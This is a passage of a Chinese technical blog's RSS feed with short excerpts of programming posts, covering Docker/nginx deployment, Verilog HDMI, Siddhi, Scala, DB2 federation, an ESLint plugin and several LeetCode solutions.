      <description>目前项目开发方式基本采用前后端分离的方式。前端作为一个独立的项目，一般是使用Webpack方式进行编译打包生成 dist 目录（特指vue项目），再通过Nginx单独进行部署。&#xA;为了和基于Docker的部署方式有个对比，我们先来说下服务器部署方式&#xA;服务器部署方式 一般来说，常规的部署方式的流程基本如下：&#xA;服务器环境配置及安装 nginx将项目dist目录上传到服务器的指定位置修改 nginx安装目录/conf/nginx.conf 文件，配置dist目录及后端项目的代理地址启动nginx&#xA;ok搞定，说起来很简单，其实最繁琐的操作基本是在第1步，nginx安装及环境配置。&#xA;为了解决环境难的问题，锵锵锵，上docker 基于Docker的部署方式 基于Docker的部署方式可以简单分为两种，一种是直接使用原生的nginx镜像进行部署，一种是通过构建新的业务镜像进行部署。&#xA;使用原生的nginx镜像进行部署 这种方式和 服务器部署方式 基本类似。基本流程如下：&#xA;将项目dist目录上传到服务器的指定位置（eg: /home/dist）准备好已经配置了 dist 目录及后端项目代理地址的 nginx.conf（eg: /home/nginx.conf）拉起nginx镜像，通过挂载数据卷将 dist目录以及事先准备好的nginx.conf挂在到nginx容器中（eg: docker run -d -v /home/dist:/dist -v /home/nginx.conf:/etc/nginx/nginx.conf -p 8088:80 nginx:latest）&#xA;ok搞定，访问 ip:8088即访问前端项目。 通过构建新的业务镜像进行部署 “使用原生的nginx镜像进行部署”的方式对比“服务器部署方式”来说是方便了一点，但是，部署时还要搞下dist目录，再搞下nginx.conf，这好像也有丢丢麻烦。咋办呢？&#xA;主角出场：构建新的业务镜像进行部署&#xA;问：为什么要这么做？&#xA;答：前端项目部署，说到底无非就是准备好dist目录以及在nginx.conf配置后端项目的地址。对于dist目录，静态目录完全可以预先放置在镜像中；而配置后端项目地址，其实就是一个值的问题，完全可以把这个值抽取成镜像中的一个环境变量。既然相关的步骤都能支持，直接构建一个新的镜像，部署时只需要配置个环境变量，舒舒服服，何乐而不为呢&#xA;具体操作&#xA;编写 nginx.conf.template（配置dist目录、后端项目地址抽取为环境变量） user nginx; worker_processes 1; error_log logs/error.log error; pid logs/nginx.pid; events { worker_connections 1024; } http { include mime.types; default_type application/octet-stream; log_format combined &#39;$remote_addr - $remote_user [$time_local] &#39; &#39;&#34;</description>
    </item>
    <item>
      <title>FPGA学习日记（七）HDMI图像数据传输</title>
      <link>https://bchobby.github.io/posts/3dee305452b4416036500fe0d6889826/</link>
      <pubDate>Fri, 14 Aug 2020 22:46:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3dee305452b4416036500fe0d6889826/</guid>
      <description>一、实现目标&#xA;将像素数据通过HDMI传输，在显示器上显示。&#xA;二、数据流传输&#xA;HDMI常采用TMDS传输（上升沿复位）方式：&#xA;（1）通过三个通道分别可传入8位的rgb视频信号，2位的控制信号，4位的音频信号或其他数据信号，其中行场同步信号在blue的控制信号中传输；&#xA;（2）在encode编码器这端，将输入的8位视频信号通过TMDS算法转换为10位的视频信号输出到并串转换模块；&#xA;（3）在并串转换模块中将输入的10位数据转为串行数发送到接受设备。&#xA;三、数据流传输实现&#xA;顶层模块，使用差分输出原语OBUFDS，p端口输出数据与输入数据相同，n端口输出相同时钟下的反相数据。&#xA;// Descriptions: DVI发送端顶层模块 module dvi_transmitter_top( input pclk, // pixel clock input pclk_x5, // pixel clock x5，ddr模式只需*5 input reset_n, // reset input [23:0] video_din, // RGB888 video in input video_hsync, // hsync data input video_vsync, // vsync data input video_de, // data enable output tmds_clk_p, // TMDS 时钟通道 output tmds_clk_n, output [2:0] tmds_data_p, // TMDS 数据通道 output [2:0] tmds_data_n, output tmds_oen // TMDS 输出使能 ); //wire define wire reset; //并行数据 wire [9:0] red_10bit; wire [9:0] green_10bit; wire [9:0] blue_10bit; wire [9:0] clk_10bit; //串行数据 wire [2:0] tmds_data_serial; wire tmds_clk_serial; //***************************************************** //** main code //***************************************************** assign tmds_oen = 1&#39;b1; assign clk_10bit = 10&#39;b1111100000; //异步复位，同步释放,TMDS协议中复位信号为高 asyn_rst_syn reset_syn( .</description>
    </item>
    <item>
      <title>Siddhi（一）能力及架构</title>
      <link>https://bchobby.github.io/posts/a86503c91f2c116fbc9110e13083953a/</link>
      <pubDate>Fri, 14 Aug 2020 17:12:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a86503c91f2c116fbc9110e13083953a/</guid>
      <description> author: mys&#xA;since: 2020-07&#xA;一、介绍： Siddhi是一个流处理和复杂的事件处理平台，可用于构建成熟的事件驱动的应用程序。它可以嵌入Java和Python应用程序中，作为微服务在裸机，VM或Docker上运行，并且可以在Kubernetes中大规模运行。&#xA;二、架构和能力： 1、概念： 事件:&#xA;Siddhi是一个事件驱动的系统，其中所有消耗，处理和发送的数据都被建模为事件。因此，Siddhi在任何事件驱动的体系结构中都可以发挥至关重要的作用。&#xA;如果我们将通过ATM进行的交易视为数据流，那么从其中进行的一次提取就可以视为一个事件。此事件包含诸如金额，时间，帐号等数据。许多此类交易形成一个流。&#xA;Siddhi Application：&#xA;Siddhi Application是类似于SQL的脚本，具有.siddhi文件扩展名。定义Siddhi的实时处理逻辑，包含消费者(sources), 生产者(sinks), 流, 查询, 表, 方法以及其他必要的约定，这些约定描述了事件的消耗，处理和发布方式。&#xA;需按照Siddhi Streaming SQL语法编写Siddhi应用程序，siddhi提供丰富的函数以及api，并支持扩展。&#xA;2、能力： 如上所述，Siddhi可以：&#xA;接受来自许多不同类型来源的事件输入，包括nats、kafka、tcp、http、file等等，以及不同的数据格式，包括json、text、xml、key-value等；处理事件并进行转化，分析，分析方法支持模式分析、序列分析、增量聚合、机器学习等等；将事件发布到多种类型的接收器，包括nats、kafka、http、file等等； siddhi工作流程，启动Siddhi应用程序后：&#xA;（1）按照事件的顺序，依次消费数据；&#xA;（2）将事件传递给相应的查询处理；&#xA;（3）根据逻辑完成的处理生成新事件；&#xA;（4）通过输出将新生成的事件发送到流；&#xA;3、Streaming SQL Siddhi Streaming SQL旨在处理事件流。可用于实现流数据集成，流分析，基于规则和自适应决策制定，是复杂事件处理（CEP）和流处理系统的演进，也可用于处理状态计算，检测复杂事件模式以及实时发送通知。&#xA;Siddhi Streaming SQL使用类似于SQL的语法和注释来消费来自具有各种数据格式的各种事件源的事件，然后使用有状态和无状态运算符进行处理，并将输出发送到多个端点。&#xA;下图描述了Siddhi Application的一些关键Siddhi Streaming SQL元素以及事件如何流经这些元素&#xA;通过Sources、inputt Handlers将事件输入到事件流中，使用事件查询结合窗口、数据表、聚合、分区等多种处理方式，生成复杂事件，流入下一个处理流程或通过sink输出。&#xA;关键元素：&#xA;元素描述Stream事件流，逻辑上按时间顺序排列的事件系列，具有唯一可识别的名称，以及定义其模式的一组定义的类型化属性。Event事件是与流关联的单个事件对象。流的所有事件均包含时间戳和基于它们所属流的模式的相同类型的属性集。table用定义的模式存储的数据的结构化表示。存储的数据可通过进行备份In-Memory，或外部数据存储诸如RDBMS，MongoDB等中的表可以被访问并在运行时操作。Named-Window命名窗口：使用定义的架构和驱逐策略存储的数据的结构化表示。窗口数据将被存储，In-Memory并通过命名窗口约束自动清除。其他siddhi元素只能在运行时查询Windows中的值，但不能修改它们。Named-Aggregation命名聚合：数据的结构化表示，以定义的架构和聚合粒度（例如秒，分钟，小时等）进行增量聚合和存储。聚合数据既存储又存储In-Memory在外部数据存储中，例如RDBMS。其他siddhi元素只能在运行时查询Windows中的值，但不能修改它们。Query一种逻辑构造，通过使用一个或多个流，表，窗口和聚合中的数据以流方式处理事件，并将输出事件发布到流，表或窗口中。Source事件源，其从外部源消耗的数据（如TCP，Kafka，HTTP等）与各种事件格式，例如XML，JSON，binary等，然后转换为西提事件，并进入用于处理流。Sink消费事件，映射到一个预定的数据格式（如XML，JSON，binary等等），并且将它们发布到外部端点（例如E-mail，TCP，Kafka，HTTP，等等）。Input Handler输入处理程序，一种以编程方式将事件注入流中的机制。Stream/Query Callback使用流或查询中的输出事件的机制。Partition一个逻辑容器，它基于从事件派生的分区键来隔离查询的处理。Inner Stream在分区中将部分查询彼此连接的可定位流。 </description>
    </item>
    <item>
      <title>设计一个简单的计算器程序，用户输入运算数和四则运算符，输出计算的结果</title>
      <link>https://bchobby.github.io/posts/da09e7b4d10e2943e6928a8ef3f5d050/</link>
      <pubDate>Fri, 14 Aug 2020 17:06:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da09e7b4d10e2943e6928a8ef3f5d050/</guid>
      <description> #include&amp;lt;stdio.h&amp;gt; int main() { float x, y; char c; while(scanf(&#34;%f %c %f&#34;, &amp;amp;x, &amp;amp;c, &amp;amp;y) == 1); { switch (c) { case &#39;+&#39;:printf(&#34;%f&#34;, x + y); break; case &#39;-&#39;:printf(&#34;%f&#34;, x - y); break; case &#39;*&#39;:printf(&#34;%f&#34;, x * y); break; case &#39;/&#39;:if (y != 0) printf(&#34;%f&#34;, x / y); else printf(&#34;分母不能为0&#34;); break; default:printf(&#34;Error&#34;); break; } } return 0; } </description>
    </item>
    <item>
      <title>scala之语法基础</title>
      <link>https://bchobby.github.io/posts/8379703800b9d1455db85fb254b713c9/</link>
      <pubDate>Fri, 14 Aug 2020 16:14:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8379703800b9d1455db85fb254b713c9/</guid>
      <description>author: mys&#xA;since: 2020-08-13&#xA;一、 简介： Scala 也是一种函数式语言，函数是 Scala 语言的核心。&#xA;二、基础语法： scala hello world ：&#xA;object HelloWorld { def main(args: Array[String]) :Unit={ println(&#34;Hello, world!&#34;) // 输出 Hello World } } object关键字定义了一个单例对象&#xA;1、数据类型： 与java相似，少部分有区别。Any是其他类的超类，Unit等同于Java的void。&#xA;数据类型描述Byte8位有符号补码整数。数值区间为 -128 到 127Short16位有符号补码整数。数值区间为 -32768 到 32767Int32位有符号补码整数。数值区间为 -2147483648 到 2147483647Long64位有符号补码整数。数值区间为 -9223372036854775808 到 9223372036854775807Float32 位, IEEE 754 标准的单精度浮点数Double64 位 IEEE 754 标准的双精度浮点数Char16位无符号Unicode字符, 区间值为 U+0000 到 U+FFFFString字符序列Booleantrue或falseUnit表示无值，和其他语言中void等同。用作不返回任何结果的方法的结果类型。Unit只有一个实例值，写成()。Nullnull 或空引用NothingNothing类型在Scala的类层级的最底端；它是任何其他类型的子类型。AnyAny是所有其他类的超类AnyRefAnyRef类是Scala里所有引用类(reference class)的基类 2、变量声明： 在 Scala 中，使用关键词 “var” 声明变量，使用关键词 “val” 声明常量。&#xA;声明语法为：</description>
    </item>
    <item>
      <title>CUDA与cuDNN 关系</title>
      <link>https://bchobby.github.io/posts/e979a6795420cecc771b50be98bb4dd5/</link>
      <pubDate>Fri, 14 Aug 2020 11:37:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e979a6795420cecc771b50be98bb4dd5/</guid>
      <description>CUDA与cuDNN 1、什么是CUDA&#xA;CUDA(ComputeUnified Device Architecture)，是显卡厂商NVIDIA推出的运算平台。 CUDA是一种由NVIDIA推出的通用并行计算架构，该架构使GPU能够解决复杂的计算问题。&#xA;2、什么是CUDNN&#xA;NVIDIA cuDNN是用于深度神经网络的GPU加速库。它强调性能、易用性和低内存开销。NVIDIA cuDNN可以集成到更高级别的机器学习框架中，如谷歌的Tensorflow、加州大学伯克利分校的流行caffe软件。简单的插入式设计可以让开发人员专注于设计和实现神经网络模型，而不是简单调整性能，同时还可以在GPU上实现高性能现代并行计算。&#xA;3、CUDA与CUDNN的关系&#xA;CUDA看作是一个工作台，上面配有很多工具，如锤子、螺丝刀等。cuDNN是基于CUDA的深度学习GPU加速库，有了它才能在GPU上完成深度学习的计算。它就相当于工作的工具，比如它就是个扳手。但是CUDA这个工作台买来的时候，并没有送扳手。想要在CUDA上运行深度神经网络，就要安装cuDNN，就像你想要拧个螺帽就要把扳手买回来。这样才能使GPU进行深度神经网络的工作，工作速度相较CPU快很多。&#xA;引自：&#xA;链接：https://www.jianshu.com/p/622f47f94784&#xA;可看详细内容</description>
    </item>
    <item>
      <title>VoLTE业务端到端流程：无线侧信令流程</title>
      <link>https://bchobby.github.io/posts/a2ce690b561d1903628cd9ac028fc92c/</link>
      <pubDate>Fri, 14 Aug 2020 10:25:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2ce690b561d1903628cd9ac028fc92c/</guid>
      <description>1、主被叫接入 该过程主要是终端 INVITE 消息触发 LTE 底层随机接入、 RRC 建立及QCI5/QCI9 的承载建立，主/被叫一致，以主叫为例信令流程如下：&#xA;主要消息内容解析：&#xA;消息序号消息名称内容/作用0SIP INVITE: Request主被叫的号码， 语音的编码速率协商1MIB/SIB获取接入网络需要的基本信息2Random Access Request随机接入请求3Random Access Response随机接入响应4RRC Connection RequestRRC 建立请求5RRC Connection SetupSRB1 建立， MAC 层配置， 功控信息，&#xA;CQI 等6RRC Connection Setup CompleteRRC 建立完成7Initial 终端 Message基站发起初始接入消息8Initial 终端 Context Request核心网触发终端上下文请求， 恢复&#xA;SRB2、 QCI5/9 承载9Security Mode Command安全模式命令10Security Mode Complete安全模式完成11RRC Con ReconfigurationSRB2、 QCI5/9 承载建立12RRC Con Reconfiguration ComQCI5/9 承载建立完成13Initial 终端 Context&#xA;Response基站反馈上下文建立完成给核心网14SIP INVITE: Trying 100终端收到 IMS 反馈的 100 trying 临&#xA;时响应 2、被叫寻呼流程 主要消息内容解析：&#xA;消息序号消息名称内容/作用0PagingEPC 接受到 INVITE 后，存储起来，触发基站</description>
    </item>
    <item>
      <title>SQL工具导出CSV文件中文乱码</title>
      <link>https://bchobby.github.io/posts/830ea3e9975771032abecfd982e11602/</link>
      <pubDate>Thu, 13 Aug 2020 21:24:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/830ea3e9975771032abecfd982e11602/</guid>
      <description>DBeaver 导出CSV文件中文乱码 相信在做IT开发的人都碰到过，中文乱码的问题。特别是做数据的工程是，经常有用sql查出一批数据后，要导成CSV文件时，发现导出的信息中，中文都是乱码；便会在网上各种查询处理方案，然后会搜索到一大堆没有治标不治本的方法。&#xA;使用DBeaver导出的乱码数据 真实数据确实如下 碰到这种乱码情况怎么办呢？其实只需要在导出时设置一个参数勾选即可（插入BOM）。&#xA;导出步骤：&#xA;第一步：&#xA;第二步：&#xA;第三步：导出时选择编码 UTF-8，并且勾选&#34;插入BOM&#34;，然后下一步完成即可。&#xA;解释CSV读取数据的原理，以便于碰到csv打开乱码的其他问题。&#xA;原理：&#xA;Excel在读取csv的时候是通过读取文件头上的bom来识别编码的，如果文件头无bom信息，则默认按照unicode编码读取。这个bom是微软自己定义的一种文件头部协定，存储内容就是标识文件编码的信息，这个BOM 头在被其他的表格展示器（比如 Numbers 或者 Libre Office）打开的时候会被忽略，但对 Excel 就不一样了。我们在生成csv的平台不一定遵循微软的bom协议，导致如果输出非unicode编码的csv文件（例如utf-8），并且没有生成bom信息的话，Excel自动按照unicode编码读取，就会出现乱码问题了。所以只需将非unicode编码的csv文件，用文本编辑器（推荐notepad++）打开并转换为带bom的编码形式（具体编码方式随意），问题解决，变不会乱码。&#xA;开发代码层面生成CSV文件，注意设置如下参数：&#xA;//代码层面生成csv文件的地方加上如下所示 // 产生 CSV 的过程，body: string[][], header: string[] const csv = body.reduce((prev, current) =&amp;gt; `${prev}\r\n${current}`, header); const BOM = Buffer.from(&#39;\uFEFF&#39;); // 设置BOM头 const bomCsv = Buffer.concat([BOM, Buffer.from(csv)]); return bomCsv.toString(); 该文仅为做一个笔记，供自己查阅，请大神勿喷，谢谢。</description>
    </item>
    <item>
      <title>常见几种电子称设置</title>
      <link>https://bchobby.github.io/posts/36ed04d497838bbba531f140bee9433d/</link>
      <pubDate>Thu, 13 Aug 2020 17:15:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36ed04d497838bbba531f140bee9433d/</guid>
      <description>几种常见电子称基本操作：&#xA;大华秤修改ip：功能---9002---确定---192-- 去皮---168-- 去皮---1-- 去皮---110---确定&#xA;设置称纸条码前两位显示：功能----39706---确认---按置零两次---22（结合自己需要的修改）---确认&#xA;奈克斯修改ip：长按设置键----3---1---shift---150---确认---plu----输入ip---确认&#xA;寺岗秤修改ip：&#xA;按住置零不放按3752---接着再按住置零不放按141---接着输入ip----#---确定---退出。&#xA;太航秤设置ip：9999---模式---1---输入---5---输入---ip地址（192168001250）---输入&#xA;友声秤设置ip：按住快速编程不放按编程---同时放开-接着---X---150---确认---192--向右箭头---168---向右箭&#xA;头...---修正---销售&#xA;友声秤修改一系列秤设置：按编程---12---X---203(查看传秤工具里面的数据参数id)---确认---1---修正---销售&#xA;寺岗秤调试时间：&#xA;1、按3下“方式”键,切换到S模式。 显示： S1 à PLU FILE&#xA;2、按8，接着按打印&#xA;3、输入你现在的正确日期（YYMMDD）,再按“打印”键&#xA;4、输入你现在的正确时间（HHMM），再按“打印”键&#xA;5、按“方式”键退出&#xA;托利多&#xA;托利多管理员操作：菜单——246813——确定 之后需要修改什么设置按上下标志选择&#xA;托利多电子秤可通过设置密码的方式，防止操作人员zhi随意改价，步骤如下：&#xA;1、按“代码”“24681357”“*”“27”“*”（输入6位数字密码，第一位不能为0）；&#xA;2、输入27显示“修改口令 27”；&#xA;3、提示输入6位新密码；&#xA;4、提示再次输入6位密码即可完成。</description>
    </item>
    <item>
      <title>力扣【19】删除链表的倒数第N个节点</title>
      <link>https://bchobby.github.io/posts/2ba9e22e791c54cbc3bf3460b4ccc53f/</link>
      <pubDate>Thu, 13 Aug 2020 17:09:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ba9e22e791c54cbc3bf3460b4ccc53f/</guid>
      <description>题目:&#xA;给你一个链表，删除链表的倒数第 n 个结点，并且返回链表的头结点。&#xA;进阶：你能尝试使用一趟扫描实现吗？&#xA;示例 1：&#xA;输入：head = [1,2,3,4,5], n = 2&#xA;输出：[1,2,3,5]&#xA;示例 2：&#xA;输入：head = [1], n = 1&#xA;输出：[]&#xA;示例 3：&#xA;输入：head = [1,2], n = 1&#xA;输出：[1]&#xA;题解&#xA;方法一：//倒数第n个，也就正数第length() - n + 1个，这我倒是想到了，就是忘了怎么找到第n个节点了。// 定义一个新节点用来指向结果链表的头节点，这个我也想到了。&#xA;我没有想到使用while来找到链表的长度，使用for循环找到第n个节点的长度。&#xA;package test; class ListNode { int val; ListNode next; ListNode(int x) { val = x; } } class Solution { public ListNode removeNthFromEnd(ListNode head, int n) { // 定义一个新节点用来指向结果链表的头节点。 ListNode node = new ListNode(0);//定义一个新节点不要忘了幅值0 // 将新节点指向当前链表的头节点。 node.</description>
    </item>
    <item>
      <title>DB2联邦数据库的创建</title>
      <link>https://bchobby.github.io/posts/06e1caa90eda98e0f9ae4f61e0f33219/</link>
      <pubDate>Thu, 13 Aug 2020 12:10:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06e1caa90eda98e0f9ae4f61e0f33219/</guid>
      <description>DB2联邦数据库创建 1、环境 本地：&#xA;1）IP：192.168.174.15&#xA;2）数据库名称：test&#xA;3）数据库用户：db2inst1&#xA;远程（被访问机器）：&#xA;1）IP：192.168.174.15&#xA;2）端口号：56600&#xA;3）数据库名称：sample&#xA;4）数据库用户：db2dis&#xA;2、服务器信息设置 1、查看本地数据库联邦参数是否开启&#xA;db2 get dbm cfg | grep -i FEDERATED 如果查询结果为NO，设置为YES&#xA;db2 update dbm cfg using federated yes 2、重启实例&#xA;db2 force application all //关闭所有连接 db2stop db2start //重启实例 3、远程数据库全局设置如下&#xA;db2set 指定当启动数据库管理器时所启动的通信管理器&#xA;3、开始编目 1、在本地进行远程数据库的节点编辑&#xA;db2 catalog tcpip node node2 remote 192.168.174.15 server 56600 db2 terminate 创建语法：&#xA;db2 catalog tcpip node 远程节点名（字符长度不超过8位） remote 远程IP server 远程端口号&#xA;2、在本地编目远程数据库&#xA;db2 catalog db sample as sample2 at node node2 authentication server db2 terminate 创建语法：</description>
    </item>
    <item>
      <title>MacOS 环境下SBDART模式安装与实例</title>
      <link>https://bchobby.github.io/posts/75d86e62ff93845917a86f72dbfd2767/</link>
      <pubDate>Thu, 13 Aug 2020 11:41:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75d86e62ff93845917a86f72dbfd2767/</guid>
      <description>简介 SBDART（平面平行辐射传输模式）是一种软件工具，用来计算地球大气和表面在无云和多云条件下的平面平行辐射传输。对于该程序的一般性描述和评论请参阅Ricchiazzi在1998年的说明。&#xA;网络上搜索可以找到其在线版本或者Matlab版本，遗憾的是这两种都已经无法使用。下面将对离线版本进行编译使用。SBDART是由FORTRAN编写的辐射传输模型，在安装前需要配置FORTRAN开发环境，在上一篇博文中已经有详细的介绍。接下来将围绕SBDART的安装和测试进行。&#xA;下载与编译安装 下载 打开Github搜索SBDART，第一个就可以看到paulricchiazzi发布的程序。&#xA;点开可以看到自带了安装说明，安装方法是比较简单的，前提是所需的编译环境都以安装好，否则编译室不可能过的。下载后解压可以看到：&#xA;编译安装 (1) 打开终端，设置工作路径，在终端中输入下面命令，回车&#xA;cd 解压后的SBDART-master路径 (2) 输入make，回车，进行编译，约5秒钟编译结束，如果提示需要命令行工具就安装即可，或者terminal中执行：xcode-select --install 然后点击 “安装”。&#xA;编译完成可以看到生成的sbdart程序。&#xA;(3) 测试，因为是Fortran的可执行程序，因此，终端中输入./sbdart就可以调用该程序。&#xA;(4) 打开TestRuns文件，修改其中的sbdart程序路径后就可以运行。&#xA;通过Python代码生成UI，通过图形交互的方式使用SBDART MacOS自带了Python2.7，就不需要重新安装Python以及配置环境了。打开RunRT文件夹找到，RunRT.py文件，修改第29行代码，将变量sbdartexe的值赋值为刚才编译生成的sbdart绝对路径。&#xA;接下来在终端输入如下命令&#xA;生成UI界面&#xA;例子 例1 计算波长0.25至1微米区间，大气顶和表面（大气底）辐照度。&#xA;INPUT文件参数：&#xA;$input idatm=4, isat=0, wlinf=.25, wlsup=1.0, wlinc=.005, iout=1, $end 效果：&#xA;例2 #!/local/gnu/bin/bash ############################################################ # shell script for Example 2 # vary optical depth and surface albedo ############################################################ # rm -f sbchk.2 foralbconin0.2.4.6.81 ;do for tcloud in 0 1 2 4 8 16 32 64 ; do echo &#34;</description>
    </item>
    <item>
      <title>git重置用户git账号与密码</title>
      <link>https://bchobby.github.io/posts/1af10776e15866b48ca3f56b099921de/</link>
      <pubDate>Thu, 13 Aug 2020 10:09:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1af10776e15866b48ca3f56b099921de/</guid>
      <description>1、git config --system --unset credential.helper&#xA;2、git config --global credential.helper store&#xA;3、git pull&#xA;输入用户名(邮箱)+密码</description>
    </item>
    <item>
      <title>解决Spark连接Hive查询数据NullPointerException问题</title>
      <link>https://bchobby.github.io/posts/670dad785436e7023244bad255d3fac1/</link>
      <pubDate>Thu, 13 Aug 2020 09:59:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/670dad785436e7023244bad255d3fac1/</guid>
      <description>背景：我们有一个使用Spark做数据计算的项目，一直以来运行正常，近日测试环境突然发生运行时空指针异常问题（已脱敏处理）：&#xA;ERROR ApplicationMaster: User class threw exception: java.lang.RuntimeException: serious problem java.lang.RuntimeException: serious problem at org.apache.hadoop.hive.ql.io.orc.OrcInputFormat.generateSplitsInfo(OrcInputFormat.java:1021) at org.apache.hadoop.hive.ql.io.orc.OrcInputFormat.getSplits(OrcInputFormat.java:1048) at org.apache.spark.rdd.HadoopRDD.getPartitions(HadoopRDD.scala:199) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:252) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:250) at scala.Option.getOrElse(Option.scala:121) at org.apache.spark.rdd.RDD.partitions(RDD.scala:250) at org.apache.spark.rdd.MapPartitionsRDD.getPartitions(MapPartitionsRDD.scala:35) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:252) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:250) at scala.Option.getOrElse(Option.scala:121) at org.apache.spark.rdd.RDD.partitions(RDD.scala:250) at org.apache.spark.rdd.MapPartitionsRDD.getPartitions(MapPartitionsRDD.scala:35) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:252) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:250) at scala.Option.getOrElse(Option.scala:121) at org.apache.spark.rdd.RDD.partitions(RDD.scala:250) at org.apache.spark.rdd.UnionRDD$$anonfun$1.apply(UnionRDD.scala:84) at org.apache.spark.rdd.UnionRDD$$anonfun$1.apply(UnionRDD.scala:84) at scala.collection.TraversableLike$$anonfun$map$1.apply(TraversableLike.scala:234) at scala.collection.TraversableLike$$anonfun$map$1.apply(TraversableLike.scala:234) at scala.collection.immutable.List.foreach(List.scala:381) at scala.collection.TraversableLike$class.map(TraversableLike.scala:234) at scala.collection.immutable.List.map(List.scala:285) at org.apache.spark.rdd.UnionRDD.getPartitions(UnionRDD.scala:84) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:252) at org.apache.spark.rdd.RDD$$anonfun$partitions$2.apply(RDD.scala:250) at scala.Option.getOrElse(Option.scala:121) at org.</description>
    </item>
    <item>
      <title>前端架构之eslint（三）之 插件开发</title>
      <link>https://bchobby.github.io/posts/8a0680d0d69199c81c52df48835cd52f/</link>
      <pubDate>Wed, 12 Aug 2020 17:35:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a0680d0d69199c81c52df48835cd52f/</guid>
      <description>前面两节已经对eslint的配置，eslint源码进行了详细的解释，那接下来我们就来手写一个plugin。&#xA;该plugin包含自定义rule、自定义processor、共享配置信息。&#xA;完整的项目请看eslint-project&#xA;一、创建一个插件 - myPlugin 初始化项目。每个插件是一个命名格式为 eslint-plugin-&amp;lt;plugin-name&amp;gt; 的 npm 模块，你也可以用这样的格式 @&amp;lt;scope&amp;gt;/eslint-plugin-&amp;lt;plugin-name&amp;gt; 限定在包作用域下。我们的插件就取名为eslint-plugin-myPlugin&#xA;mkdir myPlugin cd myPlugin npm init 在eslint中，插件可以暴露额外的规则以供使用。为此，插件必须输出一个rules对象，包含规则ID和对应规则的一个键值对。那我们就来自定义一个rule, id取名为replacement。rule解决的问题是将代码块中的XXX替换为Candice。&#xA;创建规则需要的属性以及每个属性对应的功能，eslint官网已经给出了详细的解释，这里我就不赘述了，不了解的同学可以移步官网。&#xA;创建自定义规则还需要掌握抽象语法树AST(Abstract syntax tree)的知识。&#xA;Eslint默认的语法解析工具为Espree，我们可以在AST explorer查看代码解析之后对应的节点类型。&#xA;创建myPlugin/rules/replacement.js&#xA;&#34;use strict&#34;; //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ module.exports = { // 规则的元数据 meta: { /** * type (string) 指示规则的类型，值为 &#34;problem&#34;、&#34;suggestion&#34; 或 &#34;layout&#34; * &#34;problem&#34;: 指的是该规则识别的代码要么会导致错误，要么可能会导致令人困惑的行为。开发人员应该优先考虑解决这个问题。 * &#34;suggestion&#34;: 意味着规则确定了一些可以用更好的方法来完成的事情，但是如果代码没有更改，就不会发生错误。 * &#34;layout&#34;: 意味着规则主要关心空格、分号、逗号和括号，以及程序中决定代码外观而不是执行方式的所有部分。这些规则适用于AST中没有指定的代码部分。 */ type: &#34;problem&#34;, // 对 ESLint 核心规则来说是必需的 docs: { // 展示在eslint规则首页的描述 description: &#34;</description>
    </item>
    <item>
      <title>C# 执行Js脚本方法</title>
      <link>https://bchobby.github.io/posts/d5833450a0619f3c18565a86389c3613/</link>
      <pubDate>Wed, 12 Aug 2020 08:25:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5833450a0619f3c18565a86389c3613/</guid>
      <description>C# 运行JS 运行Js脚本方法（1）运行JS脚本方法（2）1 . 新建文本JSCaller.js2. 打开.net的命令行窗口。运行jsc /t:library d:\JSCaller .js 得到JSCaller.dll3.在c#项目中引用JSCaller.dll 和Micosoft.JScript.dll4. C#中调用JSCaller.dll 运行JS脚本的方法（3）4 运行JS脚本方法 运行Js脚本方法（1） /// &amp;lt;summary&amp;gt; /// 执行JS /// this.ExecuteScript(&#34;get(&#39;{0}&#39;)&#34;.FormatWith(token0), File.ReadAllText(Server.MapPath(&#34;./encodejs.js&#34;))).toUrlEncode(); /// &amp;lt;/summary&amp;gt; /// &amp;lt;param name=&#34;sExpression&#34;&amp;gt;参数体&amp;lt;/param&amp;gt; /// &amp;lt;param name=&#34;sCode&#34;&amp;gt;JavaScript代码的字符串&amp;lt;/param&amp;gt; /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt; public string ExecuteScript(string sExpression, string sCode) { MSScriptControl.ScriptControl scriptControl = new MSScriptControl.ScriptControl(); scriptControl.UseSafeSubset = true; scriptControl.Language = &#34;JScript&#34;; scriptControl.AddCode(sCode); try { string str = scriptControl.Eval(sExpression).ToString(); return str; } catch (Exception ex) { string str = ex.Message; } return null; } var get = function (a) { var b = CryptoJS.</description>
    </item>
    <item>
      <title>[Leetcode][第130题][JAVA][被围绕的区域][DFS][BFS]</title>
      <link>https://bchobby.github.io/posts/d58fd7a5a7e21c6f19ec0e40f2195c44/</link>
      <pubDate>Tue, 11 Aug 2020 21:06:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d58fd7a5a7e21c6f19ec0e40f2195c44/</guid>
